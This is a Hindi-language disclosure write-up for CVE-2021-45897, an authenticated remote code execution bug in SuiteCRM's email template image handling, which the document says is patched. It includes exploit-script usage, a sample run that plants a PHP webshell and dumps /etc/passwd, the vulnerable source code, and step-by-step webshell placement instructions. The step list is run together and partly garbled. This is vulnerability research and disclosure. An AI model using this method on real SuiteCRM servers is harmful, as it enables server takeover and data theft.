
प्रमाणित RCE शोषण SuiteCRM <= 8.0.1 के लिए ईमेल टेम्पलेट इमेज अपलोड के माध्यम से, रिमोट कमांड निष्पादन के लिए PHP वेबशेल स्थापित करना।
CVE-2021-45897 उर्फ SCRMBT-#180 के लिए PoC - SuiteCRM <= 8.0.1 में ईमेल-टेम्पलेट्स के माध्यम से RCE (केवल प्रमाणित उपयोगकर्ता)
यह भेद्यता SalesAgility को रिपोर्ट की गई थी और SuiteCRM 7.12.3 और SuiteCRM Core 8.0.2 में ठीक कर दी गई है। यदि आप SuiteCRM के पुराने संस्करणों का उपयोग कर रहे हैं, तो मैं आपको दृढ़ता से सलाह देता हूं कि आप अपडेट करें।
स्थापना
python3 और pip का हालिया संस्करण स्थापित है।git clone https://github.com/manuelz120/CVE-2021-45897.gitpip3 install -r "requirements.txt"उपलब्ध विकल्प:
(.venv) ➜ CVE-2021-45897 git:(main) ✗ ./exploit.py --help
Usage: exploit.py [OPTIONS]
Options:
-h, --host TEXT Root of SuiteCRM installation. Defaults to
http://localhost
-u, --username TEXT Username
-p, --password TEXT password
-P, --payload TEXT Shell command to be executed on target system
-d, --is_core BOOLEAN SuiteCRM Core (>= 8.0.0). Defaults to False
--help Show this message and exit.
https://github.com/manuelz120/CVE-2021-45897
उदाहरण उपयोग:
(.venv) ➜ CVE-2021-45897 git:(main) ✗ ./exploit.py -u user -p <redacted> --payload "cat /etc/passwd"
INFO:CVE-2021-45897:Login did work - Planting webshell as Note
INFO:CVE-2021-45897:Note with paylaod located @ 6da23afd-06a0-c25a-21bd-61f8364ae722
INFO:CVE-2021-45897:Successfully planted payload at http://localhost/public/6da23afd-06a0-c25a-21bd-61f8364ae722.php
INFO:CVE-2021-45897:Verifying web shell by executing command: 'cat /etc/passwd'
INFO:CVE-2021-45897:------ Starting command output ------
INFO:CVE-2021-45897:root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
INFO:CVE-2021-45897:------ Ending command output ------
INFO:CVE-2021-45897:Enjoy your shell :)
मैंने हाल ही में PHP आधारित SuiteCRM सॉफ्टवेयर में एक दिलचस्प RCE हमला वेक्टर खोजा। यह भेद्यता एक प्रमाणित हमलावर को EmailTemplates मॉड्यूल तक पहुंच के साथ दुर्भावनापूर्ण PHP फाइलें अपलोड करने की अनुमति देती है, जिसका उपयोग रिमोट कोड निष्पादन प्राप्त करने के लिए किया जा सकता है।
मेरे दृष्टिकोण से, SuiteCRM में समग्र फ़ाइल अपलोड हैंडलिंग काफी सुरक्षित दिखती है। हालांकि बहुत सारा कस्टम कोड है, डेवलपर्स ने या तो किसी भी फ़ाइल एक्सटेंशन को हटाने (अधिकांश फ़ाइल प्रकारों के लिए ऐसा होता है), या एक्सटेंशन को मान्य करने और छवि होने की स्थिति में सामग्री को साफ करने पर पूरा ध्यान दिया। तृतीय-पक्ष AV स्कैनर लोड करने और उन्हें किसी भी अपलोड को संसाधित करने देने के लिए एक प्लगइन इंटरफ़ेस भी मौजूद है।
हालांकि, मैं संयोग से public/legacy/modules/EmailTemplates/EmailTemplate.php में छिपी एक दिलचस्प छोटी सुविधा पर ठोकर खाई:
private function repairEntryPointImages()
{
global $sugar_config;
// repair the images url at entry points, change to a public direct link for remote email clients..
$html = from_html($this->body_html);
$siteUrl = $sugar_config['site_url'];
$regex = '#]*[\s]+src=[\s]*["\'](' . preg_quote($siteUrl) . '\/index\.php\?entryPoint=download&type=Notes&id=([a-f0-9]{8}\-[a-f0-9]{4}\-[a-f0-9]{4}\-[a-f0-9]{4}\-[a-f0-9]{12})&filename=.+?)["\']#si';
if (preg_match($regex, $html, $match)) {
$splits = explode('.', $match[1]);
$fileExtension = end($splits);
$this->makePublicImage($match[2], $fileExtension);
$newSrc = $sugar_config['site_url'] . '/public/' . $match[2] . '.' . $fileExtension;
$this->body_html = to_html(str_replace($match[1], $newSrc, $html));
$this->imageLinkReplaced = true;
$this->repairEntryPointImages();
}
}
private function makePublicImage($id, $ext = 'jpg')
{
$toFile = 'public/' . $id . '.' . $ext;
if (file_exists($toFile)) {
return;
}
$fromFile = 'upload://' . $id;
if (!file_exists($fromFile)) {
throw new Exception('file not found');
}
if (!file_exists('public')) {
sugar_mkdir('public', 0777);
}
$fdata = file_get_contents($fromFile);
if (!file_put_contents($toFile, $fdata)) {
throw new Exception('file write error');
}
}
SuiteCRM उपयोगकर्ताओं को ईमेल टेम्पलेट बनाने की अनुमति देता है। टेम्पलेट्स में अटैचमेंट भी हो सकते हैं, जो एक अलग मॉड्यूल (Notes मॉड्यूल) में संग्रहीत होते हैं। उपयोगकर्ता ईमेल टेम्पलेट्स में मनमानी फाइलें संलग्न कर सकते हैं। फ़ाइल की सामग्री को किसी भी तरह से साफ नहीं किया जाता है। हालांकि, इसे बिना एक्सटेंशन के संग्रहीत किया जाता है, इसलिए भले ही इसमें संभावित रूप से दुर्भावनापूर्ण PHP कोड हो, इसे वेबसर्वर द्वारा निष्पादित नहीं किया जाएगा। प्रमाणित उपयोगकर्ता /index.php?entryPoint=download&type=Notes&id=<note-id> प्रारूप का पालन करने वाले लिंक का उपयोग करके इन अटैचमेंट्स को डाउनलोड करने में भी सक्षम हैं।
repairEntryPointImages फ़ंक्शन तब ट्रिगर होता है जब भी कोई ईमेल टेम्पलेट सहेजा या एक्सेस किया जाता है। यदि हम कोड पर एक नज़र डालें, तो हम देख सकते हैं कि यह ईमेल टेम्पलेट के मार्कअप (body_html) को पार्स करता है और एक विशेष src विशेषता के साथ HTML img टैग की तलाश करता है। नियमित अभिव्यक्ति मूल रूप से आंतरिक अटैचमेंट डाउनलोड लिंक के प्रारूप से मिलती जुलती है। हालांकि, ये लिंक केवल उन उपयोगकर्ताओं के लिए काम करते हैं जो SuiteCRM में प्रमाणित हैं, जो ईमेल के प्राप्तकर्ता के लिए सबसे अधिक संभावना नहीं है। इसलिए, SuiteCRM स्वचालित रूप से वेबसर्वर के public फ़ोल्डर में अटैचमेंट की एक प्रति बनाता है और आंतरिक डाउनलोड लिंक को सार्वजनिक संस्करण के साथ बदल देता है। यह सुनिश्चित करने के लिए कि ईमेल-क्लाइंट छवियों को ठीक से प्रदर्शित करता है, यह एक फ़ाइल एक्सटेंशन भी जोड़ता है। हालांकि, सार्वजनिक फ़ोल्डर में लक्ष्य फ़ाइल का एक्सटेंशन सीधे छवि src के filename क्वेरी पैरामीटर से लिया जाता है और मान्य नहीं किया जाता है (ध्यान दें कि filename किसी अन्य तर्क को ट्रिगर नहीं करता है और स्वतंत्र रूप से चुना जा सकता है)।
अब हमारे पास एक एक्सप्लॉइट तैयार करने के लिए सब कुछ एक साथ है जो public फ़ोल्डर में एक PHP वेबशेल अपलोड करता है:
Notes मॉड्यूल में एक नया ईमेल-अटैचमेंट / रिकॉर्ड बनाएं। Note की आईडी याद रखें/index.php?entryPoint=download&type=Notes&id=<note_id> एक्सेस करके PHP फ़ाइल डाउनलोड कर सकते हैंrepairEntryPointImages में regex से मेल खाता हो, लेकिन filename क्वेरी पैरामीटर के लिए .php का उपयोग करता है (जैसे /index.php?entryPoint=download&type=Notes&id=<note_id>&filename=pwned.php" />)।repairEntryPointImages फ़ंक्शन को निष्पादित करेगा और हमारे वेबशेल को .php एक्सटेंशन के साथ public फ़ोल्डर में कॉपी करेगाhttp://<<host>>/public/<<note_id>>.php पर अपने शेल का आनंद लेंमेरी रिपोर्ट के तुरंत बाद, नए SuiteCRM संस्करण (7.12.3 और 8.0.2) जारी किए गए, जिनमें निम्नलिखित फिक्स शामिल है:

यह सुनिश्चित करता है कि repairEntryPointImages में केवल मान्य छवि फ़ाइल एक्सटेंशन का उपयोग किया जाता है और .php जैसे गैर-श्वेतसूचीबद्ध एक्सटेंशन वाली फाइलों के निर्माण को रोकता है।